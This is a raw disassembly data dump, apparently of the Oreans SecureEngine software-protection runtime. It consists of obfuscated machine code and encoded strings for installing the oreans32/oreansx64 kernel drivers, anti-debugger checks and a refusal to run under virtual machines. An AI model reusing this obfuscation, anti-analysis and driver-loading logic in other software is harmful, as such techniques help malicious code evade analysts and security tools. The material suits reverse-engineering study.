		dd 0FF062AA0h, 28203D95h, 8589C306h, 62AA081h, 0A07D858Dh
		dd 8D50062Ah, 2A9FE785h, 1685006h, 0FF800000h, 2AA08D95h
		dd 8D046A06h, 2AA08185h, 46A5006h, 858D006Ah, 62AA028h
		dd 7DB5FF50h, 0FF062AA0h, 2823C195h, 7DB5FF06h,	0FF062AA0h
		dd 2AA08995h, 7DB5FF06h, 0FF062AA0h, 28203D95h,	8589C306h
		dd 62AA081h, 0A07D858Dh, 8D50062Ah, 2A9FE785h, 1685006h
		dd 0FF800000h, 2AA08D95h, 8D046A06h, 2AA08185h,	46A5006h
		dd 858D006Ah, 62AA053h,	7DB5FF50h, 0FF062AA0h, 2823C195h
		dd 7DB5FF06h, 0FF062AA0h, 2AA08995h, 7DB5FF06h,	0FF062AA0h
		dd 28203D95h, 8589C306h, 62AA081h, 0A07D858Dh, 8D50062Ah
		dd 2A9FE785h, 1685006h,	0FF800000h, 2AA08D95h, 8D046A06h
		dd 2AA08185h, 46A5006h,	858D006Ah, 62AA003h, 7DB5FF50h
		dd 0FF062AA0h, 2823C195h, 7DB5FF06h, 0FF062AA0h, 2AA08995h
		dd 7DB5FF06h, 0FF062AA0h, 28203D95h, 0BD83C306h, 6280D09h
		dd 0B840F00h, 8B000000h, 280D099Dh, 4CC38306h, 83C30389h
		dd 280D09BDh, 840F0006h, 0Bh, 0D099D8Bh, 0C3830628h, 0C3038950h
		dd 0D09BD83h, 0F000628h, 0B84h,	99D8B00h, 8306280Dh, 38954C3h
		dd 9BD83C3h, 6280Dh, 0B840Fh, 9D8B0000h, 6280D09h, 8958C383h
		dd 0BD83C303h, 6280D09h, 0B840F00h, 8B000000h, 280D099Dh
		dd 5CC38306h, 0C3C30389h, 81858960h, 8D062AA0h,	2AA07D85h
		dd 858D5006h, 62A9FE7h,	16850h,	95FF8000h, 62AA08Dh, 858D046Ah
		dd 62AA081h, 6A046A50h,	78858D00h, 50062AA0h, 0A07DB5FFh
		dd 95FF062Ah, 62823C1h,	149BD83h, 0F000628h, 0C84h, 7DB5FF00h
		dd 0FF062AA0h, 2AA08995h, 7DB5FF06h, 0FF062AA0h, 28203D95h
		dd 60C36106h, 0A0818589h, 858D062Ah, 62AA07Dh, 0E7858D50h
		dd 50062A9Fh, 168h, 8D95FF80h, 6A062AA0h, 81858D04h, 50062AA0h
		dd 6A046Ah, 0A05A858Dh,	0FF50062Ah, 2AA07DB5h, 0C195FF06h
		dd 83062823h, 280149BDh, 840F0006h, 0Ch, 0A07DB5FFh, 95FF062Ah
		dd 62AA089h, 0A07DB5FFh, 95FF062Ah, 628203Dh, 8960C361h
		dd 2AA08185h, 7D858D06h, 50062AA0h, 9FE7858Dh, 6850062Ah
		dd 80000001h, 0A08D95FFh, 46A062Ah, 0A081858Dh,	6A50062Ah
		dd 8D006A04h, 2AA06185h, 0B5FF5006h, 62AA07Dh, 23C195FFh
		dd 0BD830628h, 6280149h, 0C840F00h, 0FF000000h,	2AA07DB5h
		dd 8995FF06h, 0FF062AA0h, 2AA07DB5h, 3D95FF06h,	61062820h
		dd 858960C3h, 62AA081h,	0A07D858Dh, 8D50062Ah, 2A9FE785h
		dd 1685006h, 0FF800000h, 2AA08D95h, 8D046A06h, 2AA08185h
		dd 46A5006h, 858D006Ah,	62AA069h, 7DB5FF50h, 0FF062AA0h
		dd 2823C195h, 49BD8306h, 62801h, 0C840Fh, 0B5FF0000h, 62AA07Dh
		dd 0A08995FFh, 0B5FF062Ah, 62AA07Dh, 203D95FFh,	0C3610628h
		dd 81858960h, 8D062AA0h, 2AA07D85h, 858D5006h, 62A9FE7h
		dd 16850h, 95FF8000h, 62AA08Dh,	858D046Ah, 62AA081h, 6A046A50h
		dd 70858D00h, 50062AA0h, 0A07DB5FFh, 95FF062Ah,	62823C1h
		dd 149BD83h, 0F000628h,	0C84h, 7DB5FF00h, 0FF062AA0h, 2AA08995h
		dd 7DB5FF06h, 0FF062AA0h, 28203D95h, 60C36106h,	0A08185C7h
		dd 1062Ah, 858D0000h, 62AA07Dh,	0E7858D50h, 50062A9Fh
		dd 268h, 8D95FF80h, 0B062AA0h, 0F840FC0h, 0C7000000h, 2AA08185h
		dd 6, 4DE900h, 46A0000h, 0A081858Dh, 6A50062Ah,	8D006A04h
		dd 2A9FFB85h, 0B5FF5006h, 62AA07Dh, 23C195FFh, 0C00B0628h
		dd 0F840Fh, 85C70000h, 62AA081h, 0
		dd 0AE9h, 8185C700h, 1062AA0h, 0FF000000h, 2AA07DB5h, 3D95FF06h
		dd 61062820h, 0A081858Bh, 60C3062Ah, 0A0818589h, 858D062Ah
		dd 62AA07Dh, 0E7858D50h, 50062A9Fh, 168h, 8D95FF80h, 6A062AA0h
		dd 81858D04h, 50062AA0h, 6A046Ah, 9FFB858Dh, 0FF50062Ah
		dd 2AA07DB5h, 0C195FF06h, 83062823h, 280149BDh,	840F0006h
		dd 0Ch,	0A07DB5FFh, 95FF062Ah, 62AA089h, 0A07DB5FFh, 95FF062Ah
		dd 628203Dh, 8960C361h,	2AA08185h, 7D858D06h, 50062AA0h
		dd 9FE7858Dh, 6850062Ah, 80000001h, 0A08D95FFh,	46A062Ah
		dd 0A081858Dh, 6A50062Ah, 8D006A04h, 2AA00D85h,	0B5FF5006h
		dd 62AA07Dh, 23C195FFh,	0BD830628h, 6280149h, 0C840F00h
		dd 0FF000000h, 2AA07DB5h, 8995FF06h, 0FF062AA0h, 2AA07DB5h
		dd 3D95FF06h, 61062820h, 2585C6C3h, 5206280Dh, 0E47B0768h
		dd 5DB5FFADh, 0FF062810h, 2812A195h, 8D858906h,	0C6062AA0h
		dd 280D2585h, 0E5685206h, 0FF902E00h, 28105DB5h, 0A195FF06h
		dd 89062812h, 2AA08985h, 2585C606h, 5206280Dh, 0BF123568h
		dd 5DB5FFB9h, 0FF062810h, 2812A195h, 0C1858906h, 0C6062823h
		dd 280D2585h, 34685206h, 0FF987810h, 28105DB5h,	0A195FF06h
		dd 89062812h, 28203D85h, 2585C606h, 5206280Dh, 5DBD468h
		dd 5DB5FFC0h, 0FF062810h, 2812A195h, 69858906h,	0EB06281Fh
		dd 2E5C5C1Eh, 4349535Ch, 5C5C0045h, 49535C2Eh, 44495657h
		dd 2E5C5C00h, 49544E5Ch, 8B004543h, 0E906B9C0h,	8B667E81h
		dd 49BD83FEh, 62801h, 0BD830975h, 62814C5h, 50197400h
		dd 0B8C08B53h, 40Fh, 2918589h, 9D8D0628h, 62AA55Eh, 585BD3FFh
		dd 14C5BD83h, 74000628h, 0B8535017h, 40Fh, 2918589h, 9D8D0628h
		dd 62AA24Dh, 585BD3FFh,	0EE9h, 97A0CD00h, 76EA3EC8h, 0EAD5962Fh
		dd 669E3B5Bh, 8B8F67BAh, 0E9BD8BC0h, 0C606282Ah, 280D2585h
		dd 0B5014306h, 62805D5h, 5E28166h, 4E87Bh, 6EFC0000h, 6650BC8Eh
		dd 8BCCFFB9h, 50042444h, 5EB65052h, 0F310F5Fh, 1388h, 0EE900h
		dd 0D9160000h, 4BEECFACh, 202C3D05h, 23C01AAh, 8B585Ah
		dd 4489CB8Bh, 6A580424h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0FF9CC355h,	282DD5B5h
		dd 0F1816606h, 858D0295h, 6283BBBh, 0F8D9509h, 0D0FF0628h
		dd 12C59529h, 0C6800628h, 8B669000h, 0F6050F2h,	28Eh, 0FB5B500h
		dd 684h, 0F525000h, 61585A31h, 53006A90h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0BD2C8806h
		dd 81006ADFh, 8636A3DEh, 28456811h, 0D58A7CFEh,	0C5243481h
		dd 607CFE28h, 0BD8BCF8Bh, 6281F5Dh, 8B036A61h, 282BEDB5h
		dd 6AF506h, 198D8D89h, 36A0628h, 59B58Bh, 79680628h, 57DA1130h
		dd 8E0F60h, 50000000h, 8159615Bh, 30792434h, 10E91A11h
		dd 0EA000000h, 0D32C36C1h, 46D35D07h, 7C801190h, 8DBD577Ah
		dd 2AA6C49Dh, 3DB58B06h, 50062804h, 0D0B1BE66h,	0F241C89h
		dd 0F80h, 0AE900h, 0C7430000h, 4DFB1280h, 0E290C79h, 810FD0FFh
		dd 6, 800Fh, 0F400000h,	34C85h,	810F6000h, 6, 3435952Bh
		dd 0F600628h, 80h, 0CB8B6600h, 95896161h, 628092Dh, 52006A58h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 0CC96C448h, 0FCB21931h, 13E9FFh, 0C8BA0000h,	49594F4Bh
		dd 0B52FAB45h, 0E123EA0Dh, 0EF673BA2h, 525050C7h, 58C0Fh
		dd 86BA0000h, 0F196296h, 5AF38A31h, 24048958h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 87C35646h, 85B434AEh
		dd 2AF9B58Bh, 6A0628h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0E6C35141h, 15E12C0Ch, 0DD958B21h, 6806282Eh
		dd 6FFE61C8h, 2810Fh, 0EF8A0000h, 48243481h, 0F86FFE61h
		dd 0C830Fh, 880F0000h, 6, 860Fh, 36A0000h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0CDC35141h, 6AF9D6FBh
		dd 7E800h, 3AFE0000h, 0FD2E4F8Ah, 0C58529F2h, 5E062820h
		dd 8529036Ah, 6283359h,	259B9268h, 0DE86Ah, 3DF70000h
		dd 22732C56h, 53849C16h, 6673854Eh, 5AD8A3B9h, 6E240481h
		dd 6055DA64h, 5800Fh, 94BF0000h, 8B290DF2h, 2809118Dh
		dd 9D8D6106h, 62AA6CDh,	7E9BD8Bh, 85010628h, 6280FA9h
		dd 8D0F6050h, 6, 8C0Fh,	6AB50000h, 241C8961h, 11E9h, 6AD60200h
		dd 0B7DBA78Fh, 0B96A50D1h, 7EA77C7Bh, 8D8B5327h, 628128Dh
		dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0BD89EDC3h, 6280779h, 82850F40h, 0F000001h
		dd 681h, 39BD8900h, 58062807h, 0DF3C88BAh, 5250902Bh, 595E5053h
		dd 830F310Fh, 0
		dd 0E950585Ah, 0Eh, 9916B9EFh, 0B3996E4Bh, 9CE40A56h, 6A9001B2h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 0E7B7418Ch, 0B58B0A18h, 62805E9h, 0E29BD8Bh
		dd 1C680628h, 52F6F7C5h, 8B665250h, 5A310FCAh, 4815A58h
		dd 83B6424h, 7840F09h, 52000000h, 0C1496CB9h, 7E85E0Ah
		dd 6F000000h, 0DDB6A3BBh, 8D8B615Dh, 6282331h, 89036A5Ah
		dd 282481B5h, 2B006A06h, 2824998Dh, 0E8036A06h,	10h, 6A048FB1h
		dd 0A3159B65h, 6B673768h, 0E4FD8098h, 0D759509h, 685F0628h
		dd 0B64C9D49h, 81CA8B66h, 9D492434h, 8D8B764Ch,	6280661h
		dd 0B779C4B9h, 0D89D8D20h, 89062AA6h, 282EE595h, 8A605006h
		dd 81C9BFC5h, 89614000h, 0AE8241Ch, 0EF000000h,	0E27FE905h
		dd 0D4D36B60h, 95BD8B59h, 59062814h, 9E8D0FFh, 0F6000000h
		dd 0A86408A7h, 59090C59h, 25A2E0BAh, 0F405E3Dh,	5085h
		dd 158A0F00h, 0E9000000h, 10h, 36E16F68h, 70BC2E8Ch, 1C0242BBh
		dd 9AF8C881h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 1CF8DAC2h, 4B007F57h, 179B589h, 36E90628h
		dd 1000001h, 2800819Dh,	0FD88B06h, 58Bh, 0E9816600h, 894B6971h
		dd 28212D95h, 6A5806h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 958BD0C3h, 6281775h, 0D2585C6h
		dd 6A430628h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0F207C351h, 0F930DBD2h, 3068D18Bh
		dd 606C92D5h, 0C28B6651h, 52506059h, 585A310Fh,	0DE9h
		dd 6939EB00h, 2838B969h, 0A68CCE9Bh, 6161107Eh,	77240481h
		dd 0F53E375h, 489h, 0E3B96600h,	0B18D8B62h, 0FF062834h
		dd 282DD5B5h, 0FABF0F06h, 3BBB858Dh, 8D8B0628h,	62804CDh
		dd 860FD0FFh, 6, 321D8509h, 0B5500628h,	241C89CBh, 6E9h
		dd 0C260C300h, 60B52EB7h, 4B26BE66h, 19D58501h,	0FF610628h
		dd 0D9BD8BD0h, 8D062823h, 2873C49Dh, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 9D629391h
		dd 58BD2778h, 66F58D7Bh, 3AD1C181h, 1B8h, 0BE665300h, 0FF597211h
		dd 6800FE3h, 89000000h,	2829C595h, 50C18B06h, 8D858957h
		dd 5F062802h, 0E9C08B59h, 0Bh, 93010B99h, 8CA09C12h, 838E9DF0h
		dd 280149BDh, 9750006h,	14C5BD83h, 74000628h, 8B535019h
		dd 40FB8C0h, 85890000h,	6282E55h, 0A5C59D8Dh, 0D3FF062Ah
		dd 0BD83585Bh, 62814C5h, 50177400h, 40FB853h, 85890000h
		dd 6282E55h, 0A2669D8Dh, 0D3FF062Ah, 8D33585Bh,	6280E89h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 47C35040h
		dd 662337C4h, 0C08BF78Bh, 8E8h,	753B4800h, 0F089C358h
		dd 259D8970h, 5E06282Fh, 8318D0Bh, 0C6810628h, 67BFh, 0A0AF9FBAh
		dd 0FDB2B64h, 3C8BC3BFh, 2DEF811Eh, 662DE143h, 0EF81D08Bh
		dd 4262E040h, 1EF99529h, 0EF810628h, 7E106891h,	233D8509h
		dd 3C890628h, 0D2B70F1Eh, 4A1B589h, 0EB830628h,	0A74AB904h
		dd 0FB812127h, 0FFFF98D0h, 16850Fh, 8B660000h, 22E9D1h
		dd 27FE0000h, 1DC50D3h,	0D1C4D97Eh, 32498C27h, 22F98D33h
		dd 9BE90628h, 0FFFFFFh,	8BAAA216h, 7F5FB749h, 20EE9h, 61433300h
		dd 746F6E6Eh, 69727720h, 6F206574h, 6E616572h, 78762E73h
		dd 4D0D0A64h, 20656B61h, 65727573h, 61687420h, 68742074h
		dd 66207369h, 20656C69h, 6E207369h, 6220746Fh, 676E6965h
		dd 65737520h, 79622064h, 6F6E6120h, 72656874h, 6F727020h
		dd 6D617267h, 2Eh, 67h dup(0)
		dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0)
		dd 0E9000000h, 0EFh, 0D2585C6h,	68470628h, 0E3E45B86h
		dd 2DD5B5FFh, 858D0628h, 6283BBBh, 468D0FFh, 8D000001h
		dd 2815299Dh, 0D0FF5306h, 68B58D50h, 8B062AB0h,	0AEC032FEh
		dd 0FFF9850Fh, 0FE2BFFFFh, 8B58CF8Bh, 0F3F803FBh, 2585C6A4h
		dd 4306280Dh, 8E6EFC68h, 0D5B5FFBCh, 8D06282Dh,	283BBB85h
		dd 8DD0FF06h, 281529B5h, 68006A06h, 80h, 6A026Ah, 68006Ah
		dd 56C00000h, 0D88BD0FFh, 0D2585C6h, 68570628h,	0A69BEE56h
		dd 2DD5B5FFh, 858D0628h, 6283BBBh, 0BD8DD0FFh, 628295Dh
		dd 0B18E8D8Dh, 6A062Ah,	37D06857h, 53510000h, 0C085D0FFh
		dd 1B850Fh, 0B58D0000h,	62AAE70h, 9F24858Dh, 0D0FF062Ah
		dd 73C48D8Dh, 0B80628h,	0FF000000h, 2585C6E1h, 4306280Dh
		dd 764AA768h, 0D5B5FFC0h, 8D06282Dh, 283BBB85h,	53D0FF06h
		dd 0B9C3D0FFh, 37D0h, 0E8h, 0C0835800h,	0E908890Eh, 2
		dd 0D0E9C38Bh, 4D000037h, 300905Ah, 4000000h, 0FF000000h
		dd 0B80000FFh, 0
		dd 40000000h, 8	dup(0)
		dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h
		dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh
		dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh
		dd 240A0D0Dh, 0
		dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h
		dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h
		dd 887376h, 0
		dd 4C000000h, 45h, 2000000h, 400h, 0
		dd 14000380h, 5	dup(0)
		dd 0C0000002h, 90000001h, 0
		dd 7E000000h, 0
		dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0)
		dd 2C000000h, 38000001h, 1, 0
		dd 42000000h, 96000001h, 0D2000001h, 1,	0D2000000h, 1
		dd 0
		dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0)
		dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h
		dd 444F43h, 100h, 200h,	300h, 400h, 500h, 600h,	700h, 800h
		dd 900h, 0A00h,	0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h
		dd 1100h, 1200h, 1300h,	8001400h, 4F525058h, 44585654h
		dd 1000000h, 3000103h, 2 dup(0)
		dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h
		dd 7005001h, 1019100h, 27279Bh,	276F0106h, 17D0179h, 1850181h
		dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh
		dd 27h,	360h dup(0)
		dd 1000004h, 58000000h,	544F5250h, 445856h, 800000h, 8 dup(0)
		dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h
		dd 527376h, 9C3h dup(0)
		dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h
		dd 9 dup(0)
		dd 33C3C033h, 7E83C3C0h, 475000Ch, 1AEBC033h, 10C7E83h
		dd 58D1475h, 0
		dd 89187E8Bh, 2046C707h, 4, 0CC3C033h, 4F525058h, 44585654h
		dd 4244445Fh, 0E8000000h, 0Ch, 613878B8h, 0BD25B7DFh, 55FE07DEh
		dd 68D0F60h, 81000000h,	8A4659D7h, 3860F65h, 0F000000h
		dd 5F61C7BFh, 0DE9h, 0D9C73200h, 98345203h, 96AD8303h
		dd 0C78178BBh, 686Ch, 2BA98D89h, 0EFB80628h, 0E9000019h
		dd 7, 3A352C40h, 8B4A319Fh, 81CF8B1Fh, 0F1CE3F3h, 0CDB58B06h
		dd 81062833h, 378684C3h, 0D3D1816Dh, 81792C82h,	8D6D28F3h
		dd 3AB96635h, 8A1F893Dh, 0E5EF81EFh, 0E92039B1h, 0Eh, 0EC67A255h
		dd 9D39F7A4h, 400F2DDh,	0C781EAC5h, 2039B1E1h, 6E9h, 9F806A00h
		dd 83C07A27h, 850F01E8h, 0FFFFFFA3h, 714FBA66h,	99E9h
		dd 75622F00h, 65686367h, 326B63h, 6775622Fh, 63656863h
		dd 662F006Bh, 6563726Fh, 6E7572h, 6775622Fh, 63656863h
		dd 6C75666Bh, 732F006Ch, 63776F68h, 65646Fh, 6F68732Fh
		dd 646F6377h, 2F003265h, 74726C63h, 69642F00h, 2F003173h
		dd 776F6873h, 74736E69h, 65636E61h, 65672F00h, 736C7774h
		dd 75746174h, 6C2F0073h, 7473676Fh, 73757461h, 75642F00h
		dd 7473706Dh, 73757461h, 0
		dd 68632F00h, 706B6365h, 65746F72h, 6F697463h, 6Eh, 0BD830000h
		dd 62AEA9Ch, 0A840F00h,	0C7000000h, 2814C585h, 106h, 2585C600h
		dd 4706280Dh, 4E8h, 6D6C8D00h, 448B5090h, 8B0424h, 4244489h
		dd 0D5B5FF58h, 8D06282Dh, 283BBB85h, 0FFD0FF06h, 80F88BD0h
		dd 850F223Fh, 22h, 0AE22B047h, 0FFF9850Fh, 3F80FFFFh, 18840F00h
		dd 47000003h, 0F003F80h, 30E84h, 1EE900h, 3F800000h, 840F00h
		dd 80000003h, 850F203Fh, 6, 6E947h, 0E9470000h,	0FFFFFFE2h
		dd 0F003F80h, 585h, 2DDE900h, 1E90000h,	47000000h, 0F203F80h
		dd 0FFFFF684h, 3F80FFh,	5850Fh,	0C0E90000h, 0E8000002h
		dd 0Ah,	0FFFFCBE9h, 2B1E9FFh, 0B58D0000h, 62AEA1Ch, 225E8h
		dd 0B1BD0300h, 83062AEAh, 2AEAB1BDh, 840F0006h,	0Bh, 14985C7h
		dd 10628h, 8DC30000h, 2AEA27B5h, 1FCE806h, 0BD030000h
		dd 62AEAB1h, 0EAB1BD83h, 0F00062Ah, 0B84h, 0C585C700h
		dd 1062814h, 0C3000000h, 0EAA0B58Dh, 0D3E8062Ah, 3000001h
		dd 2AEAB1BDh, 0B1BD8306h, 62AEAh, 0B840Fh, 85C70000h, 6282155h
		dd 1, 31B58DC3h, 0E8062AEAh, 1AAh, 0EAB1BD03h, 0BD83062Ah
		dd 62AEAB1h, 0B840F00h,	0C7000000h, 2814C585h, 106h, 0B58DC300h
		dd 62AEA3Bh, 181E8h, 0B1BD0300h, 83062AEAh, 2AEAB1BDh
		dd 840F0006h, 15h, 14C585C7h, 10628h, 85C70000h, 6280149h
		dd 1, 49B58DC3h, 0E8062AEAh, 14Eh, 0EAB1BD03h, 0BD83062Ah
		dd 62AEAB1h, 0A840F00h,	0C7000000h, 2803D185h, 106h, 53B58D00h
		dd 0E8062AEAh, 126h, 0EAB1BD03h, 0BD83062Ah, 62AEAB1h
		dd 0A840F00h, 0C7000000h, 2803D185h, 106h, 5EB58D00h, 0E8062AEAh
		dd 0FEh, 0EAB1BD03h, 0BD83062Ah, 62AEAB1h, 0A840F00h, 0C7000000h
		dd 2833A585h, 106h, 64B58D00h, 0E8062AEAh, 0D6h, 0EAB1BD03h
		dd 0BD83062Ah, 62AEAB1h, 0A840F00h, 0C7000000h,	28349D85h
		dd 106h, 6AB58D00h, 0E8062AEAh,	0AEh, 0EAB1BD03h, 0BD83062Ah
		dd 62AEAB1h, 0A840F00h,	0C7000000h, 28204985h, 106h, 78B58D00h
		dd 0E8062AEAh, 86h, 0EAB1BD03h,	0BD83062Ah, 62AEAB1h, 0A840F00h
		dd 0C7000000h, 28080D85h, 106h,	85B58D00h, 0E8062AEAh
		dd 5Eh,	0EAB1BD03h, 0BD83062Ah,	62AEAB1h, 0A840F00h, 0C7000000h
		dd 28291985h, 106h, 90B58D00h, 0E8062AEAh, 36h,	0EAB1BD03h
		dd 0BD83062Ah, 62AEAB1h, 0A840F00h, 0C7000000h,	28144D85h
		dd 106h, 1E900h, 80470000h, 840F203Fh, 9, 0F003F80h, 0FFFFED85h
		dd 0B960C3FFh, 1, 19E9DE8Bh, 80000000h,	850F003Fh, 2, 178AC92Bh
		dd 840F1638h, 2, 4746C92Bh, 0F003E80h, 884h, 0FC90B00h
		dd 0FFFFD685h, 0FC90BFFh, 2184h, 3F8000h, 9840Fh, 3F800000h
		dd 0A850F20h, 0B9000000h, 1, 5E9h, 0B900h, 0C90B0000h
		dd 0D840Fh, 0F32B0000h,	0EAB1B589h, 0AE9062Ah, 0C7000000h
		dd 2AEAB185h, 6, 0B8C36100h, 0
		dd 840FC00Bh, 0Ah, 3D185C7h, 628h, 0C88B0000h, 10B7E9h
		dd 56444100h, 33495041h, 4C442E32h, 704F004Ch, 43536E65h
		dd 616E614Dh, 41726567h, 65724300h, 53657461h, 69767265h
		dd 416563h, 72617453h, 72655374h, 65636976h, 65470041h
		dd 74614E74h, 53657669h, 65747379h, 666E496Dh, 704F006Fh
		dd 65536E65h, 63697672h, 44004165h, 74656C65h, 72655365h
		dd 65636976h, 6F6C4300h, 65536573h, 63697672h, 6E614865h
		dd 656C64h, 746E6F43h, 536C6F72h, 69767265h, 6563h, 7 dup(0)
		dd 6F000000h, 6E616572h, 2E323373h, 737973h, 2 dup(0)
aOreansx64_sys	db 'oreansx64.sys',0
		align 10h
		dd 0
		dd 726F0000h, 736E6165h, 5C003233h, 6F5C2E5Ch, 6E616572h
		dd 323373h, 5C2E5C5Ch, 626F6C47h, 6F5C6C61h, 6E616572h
		dd 323373h, 6165726Fh, 3678736Eh, 5C5C0034h, 6C475C2Eh
		dd 6C61626Fh, 65726F5Ch, 78736E61h, 3436h, 41h dup(0)
		dd 53000000h, 45545359h, 4F4F524Dh, 73250054h, 7379735Ch
		dd 336D6574h, 72645C32h, 72657669h, 73255C73h, 5C732500h
		dd 77737973h, 3436776Fh, 6972645Ch, 73726576h, 73255Ch
		dd 735C7325h, 65747379h, 5C32336Dh, 76697264h, 5C737265h
		dd 6165726Fh, 3233736Eh, 7379732Eh, 49h	dup(0)
		dd 61433300h, 746F6E6Eh, 64705520h, 20657461h, 6165726Fh
		dd 732E736Eh, 64207379h, 65766972h, 50202E72h, 7361656Ch
		dd 6D202C65h, 20656B61h, 65727573h, 61687420h, 6F792074h
		dd 61682075h, 0D0A6576h, 696D6461h, 7473696Eh, 6F746172h
		dd 20732772h, 6D726570h, 20737469h, 20656874h, 73726966h
		dd 69742074h, 7420656Dh, 20746168h, 20756F79h, 20657261h
		dd 6E696F67h, 6F742067h, 6E757220h, 69687420h, 72702073h
		dd 6172676Fh, 2E6Dh, 59h dup(0)
		dd 61433300h, 746F6E6Eh, 65706F20h, 726F206Eh, 736E6165h
		dd 6478762Eh, 69726420h, 2E726576h, 6B614D20h, 75732065h
		dd 74206572h, 20746168h, 6165726Fh, 762E736Eh, 0D0A6478h
		dd 6E207369h, 6F20746Fh, 206E6570h, 61207962h, 68746F6Eh
		dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
		dd 65533300h, 65727563h, 69676E45h, 6420656Eh, 65766972h
		dd 61632072h, 746F6E6Eh, 20656220h, 61647075h, 20646574h
		dd 61636562h, 20657375h, 72656874h, 72612065h, 6F732065h
		dd 7020656Dh, 72676F72h, 20736D61h, 6E697375h, 690D0A67h
		dd 59202E74h, 6E20756Fh, 20646565h, 63206F74h, 65736F6Ch
		dd 6F687420h, 70206573h, 72676F72h, 20736D61h, 7220726Fh
		dd 61747365h, 79207472h, 2072756Fh, 706D6F63h, 72657475h
		dd 520D0A2Eh, 61747365h, 6E207472h, 3F776Fh, 0D9h dup(0)
		dd 2E5C5C00h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 73250000h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 70580000h, 45746F72h, 746E6576h, 0Bh	dup(0)
		dd 53655300h, 64747568h, 506E776Fh, 69766972h, 6567656Ch
		dd 0
		dd 65724300h, 45657461h, 746E6576h, 49504120h, 72724520h
		dd 7720726Fh, 656C6968h, 74786520h, 74636172h, 206E6F69h
		dd 20656874h, 76697264h, 47007265h, 6E457465h, 6F726976h
		dd 6E656D6Eh, 72615674h, 6C626169h, 50412065h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 6E65704Fh, 614D4353h
		dd 6567616Eh, 50412072h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 61657243h, 65536574h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 736F6C43h
		dd 72655365h, 65636976h, 646E6148h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 7265536Eh
		dd 65636976h, 49504120h, 72724520h, 7720726Fh, 656C6968h
		dd 74786520h, 74636172h, 206E6F69h, 20656874h, 76697264h
		dd 53007265h, 74726174h, 76726553h, 20656369h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 50410072h, 65204349h
		dd 726F7272h, 6143203Ah, 746F6E6Eh, 6E696620h, 72502064h
		dd 7365636Fh, 73726F73h, 6E6F4320h, 6C6F7274h, 6F6C4220h
		dd 2E736B63h, 656C5020h, 2C657361h, 6F630D0Ah, 6361746Eh
		dd 6E692074h, 6F406F66h, 6E616572h, 6F632E73h, 6F66206Dh
		dd 68742072h, 65207369h, 726F7272h, 0
		dd 10400h, 6F533300h, 2C797272h, 69687420h, 70612073h
		dd 63696C70h, 6F697461h, 6163206Eh, 746F6E6Eh, 6E757220h
		dd 646E7520h, 61207265h, 72695620h, 6C617574h, 63614D20h
		dd 656E6968h, 70h dup(0)
		dd 100000h, 1000000h, 0FEFFFF00h, 17Fh,	100h, 24A00h, 1000000h
		dd 8000F00h, 940004h, 50000h, 10000h, 0A280000h, 20000h
		dd 21h dup(0)
		dd 6F530000h, 61777466h, 575C6572h, 656E69h, 0BD01C48Bh
		dd 6280651h, 1D4D8589h,	3FB10628h, 11E8C08Bh, 63000000h
		dd 1CD69C28h, 4BFCBE15h, 0F60C5023h, 2C18A97Fh,	5FD7B70Fh
		dd 149BD83h, 75000628h,	0C5BD8309h, 62814h, 53501974h
		dd 3DB8C08Bh, 89000004h, 28029185h, 5E9D8D06h, 0FF062AA5h
		dd 83585BD3h, 2814C5BDh, 17740006h, 3DB85350h, 89000004h
		dd 28029185h, 4D9D8D06h, 0FF062AA2h, 8B585BD3h,	28334D95h
		dd 0B5850106h, 8B062800h, 0CCE4BAC0h, 81663B17h, 8B4128E7h
		dd 6880FC0h, 89000000h,	282D099Dh, 49BD8306h, 62801h, 0BD830975h
		dd 62814C5h, 50137400h,	0B8C08B53h, 0
